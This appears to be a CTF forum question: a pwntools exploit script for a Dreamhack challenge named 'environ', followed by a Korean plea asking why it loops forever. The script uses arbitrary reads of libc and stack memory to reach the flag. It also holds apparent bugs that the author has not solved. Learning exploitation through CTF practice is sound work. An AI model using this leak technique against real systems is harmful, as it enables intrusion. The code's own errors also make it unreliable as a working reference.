from pwn import * #1context.log_level = "debug" HOST, PORT = "127.0.0.1", 7182 REMOTE = True if REMOTE: p = remote('host1.dreamhack.games', 16731) elf = ELF('./libc.so.6') libc = ELF('./libc.so.6', checksec=False) else: p = process('./environ') elf = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) p.recvuntil(b'stdout: ') stdout_ptr = int(p.recvline().strip(), 16) libc_base = stdout_ptr - libc.symbols['IO_2_1_stdout'] libc_environ = libc_base + elf.symbols['__environ'] log.info(f'environ = {hex(libc_environ)}') p.sendlineafter(b">", b"1") p.sendlineafter(b"Addr: ", str(libc_environ)) stack_environ = u64(p.recv(6).ljust(8, b"\x00")) flag = stack_environ - 0x1538 p.sendlineafter(b">", b"1") p.sendlineafter(b"Addr: ", str(flag).encode()) p.interactive() 이렇게 짰는데 이런 무한루프가 계속 뜨네요...뭐가 문제일까요 ㅠㅠ